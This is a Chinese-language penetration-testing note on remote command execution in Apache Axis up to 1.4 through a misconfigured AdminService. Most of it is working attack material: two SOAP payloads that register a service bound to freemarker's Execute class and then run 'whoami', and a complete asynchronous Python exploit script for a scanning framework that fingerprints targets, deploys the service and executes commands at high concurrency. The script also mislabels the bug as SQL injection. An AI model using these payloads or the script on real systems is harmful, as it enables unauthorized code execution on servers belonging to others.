Java Axis <=1.4 RCE
前言:实战中还是有碰到的,所以这篇就作为这个漏洞的学习笔记。
参考文章:https://paper.seebug.org/1489/
参考文章:https://www.cnblogs.com/depycode/p/14844984.html
漏洞利用
下面两个操作需要注意的就是需要设置下header头的一个字段SOAPAction: "",要不然回显内容会跟下面不太一样
注册服务
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="myRce" provider="java:RPC">
<parameter name="className" value="freemarker.template.utility.Execute"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>
</soapenv:Body>
</soapenv:Envelope>

命令执行
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">whoami</multiRef></multiRef></soapenv:Body></soapenv:Envelope>

脚本编写

# coding=utf-8
# @Author : zpchcbd HG team
# @Time : 2021-09-10 14:14
import re
from colorama import Fore
from tqdm import tqdm
from exploit.web import BaseScript
from core.MyEnums import BugType, BugLevel
from core.MyAsyncHttp import *
'''
漏洞本质是管理员对AdminService的配置错误。
当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,
远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,就可以进行远程命令执行漏洞的利用。
SSRF
1、内网ARP欺骗,https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2019-0227/CVE-2019-0227.py
2、编辑器漏洞,ueditor的ssrf配合,https://forum.butian.net/share/136
'''
class Script(BaseScript):
name = 'Axis2'
def __init__(self, target, pbar, semaphore):
super().__init__()
# basic
self.target = target
self.bugLevel = BugLevel.HIGH
self.bugType = BugType.SQLINJECTION
self.bugNumber = 'CVE-2019-0227'
self.refer = ''
self.pbar = pbar
self.semaphore = semaphore
# main
self.detectList = ['/axis2/services', '/services']
self.payloadList = ['/axis2/services/AdminService', '/services/AdminService']
self.execList = ['/services/freemarker?wsdl', '/axis2/services/freemarker?wsdl']
async def detect(self):
try:
async with self.semaphore:
async with aiohttp.ClientSession(headers=self.headers) as session:
for detectPath in self.detectList:
url = f'http://{self.target}{detectPath}' if self.target.startswith(
('http:', 'https:')) is False else f'{self.target}{detectPath}'
text = await AsyncFetcher.fetch(session=session, url=url)
m = re.search(r'<a href="(.*?)\?wsdl">', text)
if m is not None and m.group(1):
self.flag = True
tqdm.write(Fore.RED + '[{}] {}'.format('Axis2 Finger', url))
return {'name': 'Axis2 Finger', 'url': url, 'software': 'Axis2'}
except Exception:
return None
async def exploit(self):
try:
async with self.semaphore:
async with aiohttp.ClientSession() as session:
for payload in self.payloadList:
url = f'http://{self.target}{payload}' if self.target.startswith(
('http:', 'https:')) is False else f'{self.target}{payload}'
headers = {'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""'}
data = '''<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="wowtest" provider="java:RPC">
<parameter name="className" value="freemarker.template.utility.Execute"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>
</soapenv:Body></soapenv:Envelope>
'''
async with session.post(url=url, data=data, headers=headers) as res:
if res is not None and res.status:
text = await res.text()
await asyncio.sleep(2)
if 'Done processing' in text:
tqdm.write(Fore.RED + '[{}] {}'.format('Axis2 maybe Getshell', url))
return {'name': 'Axis2 maybe Getshell', 'url': url, 'software': 'Axis2'}
except Exception:
return None
async def exec(self):
command = 'whoami'
async with aiohttp.ClientSession() as session:
for exec in self.execList:
url = f'http://{self.target}{exec}' if self.target.startswith(
('http:', 'https:')) is False else f'{self.target}{exec}'
headers = {'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""'}
data = '''<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">''' + command + '''</multiRef></multiRef></soapenv:Body></soapenv:Envelope>'''
async with session.post(url=url, data=data, headers=headers) as res:
if res is not None and res.status == 200:
text1 = await res.text()
await asyncio.sleep(2)
m = re.search('<execReturn.*>(.*)[\s]+<\/execReturn>', text1)
if m is not None and m.group(1):
tqdm.write(Fore.RED + '[{}] {}'.format('Axis2 Getshell', url))
return {'name': 'Axis2 Getshell', 'url': url, 'software': 'Axis2'}
async def attack(self):
a = await self.detect()
if a is not None:
self.vulList.append(a)
if self.flag:
b = await self.exploit()
if b is not None:
self.vulList.append(b)
c = await self.exec()
if c is not None:
self.vulList.append(c)
# self.pbar.update(1)
return self.vulList
if __name__ == '__main__':
sem = asyncio.Semaphore(500)
sc = Script('127.0.0.1:8081', 1, sem)
l = asyncio.get_event_loop()
l.run_until_complete(sc.attack())

浙公网安备 33010602011771号